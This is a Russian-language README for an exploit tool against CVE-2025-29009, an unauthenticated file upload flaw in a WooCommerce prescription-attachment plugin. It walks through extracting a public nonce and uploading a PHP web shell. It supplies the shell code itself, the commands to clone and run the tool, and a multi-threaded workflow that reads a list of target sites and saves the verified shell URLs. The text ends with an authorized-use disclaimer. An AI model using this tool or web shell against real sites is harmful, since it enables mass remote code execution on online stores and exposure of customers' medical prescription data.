
WordPress Medical Prescription Attachment Plugin for WooCommerce Plugin <= 1.2.3 уязвим для произвольной загрузки файлов высокого приоритета.
Плагин Medical Prescription Attachment для WooCommerce версии <= 1.2.3 уязвим к произвольной загрузке файлов высокого приоритета
,-. . , ,--. ,-. ,-. ,-. ;--' ,-. ,-. ,-. ,-. ,-.
/ | / | ) / /\ ) | ) ( ) / /\ / /\ ( )
| | / |- --- / | / | / `-. --- / `-'| | / | | / | `-'|
\ |/ | / \/ / / ) / / \/ / \/ / /
`-' ' `--' '--' `-' '--' `-' '--' `-' `-' `-' `-'
| Поле | Детали |
|---|---|
| CVE | CVE-2025-29009 |
| Плагин | Webkul Medical Prescription Attachment Plugin for WooCommerce |
| Затронуто | Все версии ≤ 1.2.3 |
| Авторизация | Не требуется |
| Тип | Неограниченная загрузка файла с опасным типом → Загрузка веб-шелла |
| CWE | CWE-434 · Неограниченная загрузка файла с опасным типом |
Корневая причина:
Обработчик AJAX wkwcpa_handle_prescription_session (action=wkwcpa_handle_prescription_session) принимает загружаемые файлы через wkwc_pa_prescription_attachment[] без проверки расширения файла или MIME-типа на стороне сервера. Неаутентифицированный злоумышленник может извлечь ajaxNonce из публичного магазина WooCommerce (встроен в JavaScript-объект wkwcpaFrontObj), а затем загрузить PHP веб-шелл напрямую в директорию загрузок сервера. В ответе возвращается полный доступный URL загруженного файла.
┌──────────────────────────────────────────────────────────────┐
│ 1. Resolve front page │
│ GET / → GET /shop/ → GET /product/ → GET /?wkwcpa=1│
│ │
│ 2. Extract nonce │
│ Parse wkwcpaFrontObj.ajax.ajaxUrl │
│ Parse wkwcpaFrontObj.ajax.ajaxNonce │
│ │
│ 3. Upload shell │
│ POST <ajaxUrl> │
│ action = wkwcpa_handle_prescription_session │
│ nonce = <ajaxNonce> │
│ type = upload │
│ wkwc_pa_prescription_attachment[] = shell.php │
│ │
│ 4. Parse response │
│ JSON → data.attachments_img_html[].src → shell URL │
│ │
│ 5. Verify shell │
│ GET <shell_url> → check for unique signature │
│ │
│ 6. Save to shells.txt │
└──────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-29009.git
cd CVE-2025-29009
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
Создайте свой PHP-шелл и вставьте уникальную сигнатурную строку, чтобы инструмент мог проверить успешность выполнения:
<?php
// NxploitedShellOK
system($_GET['cmd']);
?>
Сохраните как shell.php в той же директории, что и скрипт.
Строка NxploitedShellOK является сигнатурой — она должна присутствовать в ответе шелла для успешной верификации.
python3 CVE-2025-29009.py
Targets file (default list.txt): list.txt
Threads (default 10): 10
Local shell filename (e.g. shell.php): shell.php
Unique shell signature (e.g. NxploitedShellOK): NxploitedShellOK
list.txthttps://target1.com
target2.com
http://target3.com
Цели без
http://илиhttps://автоматически получают префиксhttp://.
| Файл | Содержимое |
|---|---|
shells.txt | Один проверенный URL шелла на строку |
Терминал:
[SHELL] https://target.com/wp-content/uploads/2025/06/shell.php
[FAIL] https://target2.com (nonce_not_found)
[FAIL] https://target3.com (success_false)
[Status] 3/3 OK:1 FAIL:2
| Код | Значение |
|---|---|
shell_file_missing | shell.php не найден в рабочей директории |
no_front_page | Ни одна страница-кандидат не вернула HTTP 200 |
nonce_not_found | wkwcpaFrontObj отсутствует на всех страницах |
upload_error | Сетевая ошибка во время POST-запроса |
json_parse_error | Ответ не является валидным JSON |
success_false | Сервер вернул data.success = false |
no_attachments | Загрузка выполнена, но URL в ответе отсутствует |
shell_url_not_found | Не удалось извлечь URL файла из HTML ответа |
Nxploited
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
ТОЛЬКО ДЛЯ АВТОРИЗОВАННЫХ ИССЛЕДОВАНИЙ БЕЗОПАСНОСТИ И ОБУЧЕНИЯ.
Автор не несёт ответственности за использование против систем,
которыми оператор не владеет или на тестирование которых
не имеет явного письменного разрешения.
Несанкционированное использование нарушает CFAA, CMA
и аналогичные законы по всему миру.
Только вы несёте ответственность за свои действия.
© 2025 Nxploited · Medical Prescription Attachment ≤ 1.2.3 · Исправлено в 1.2.4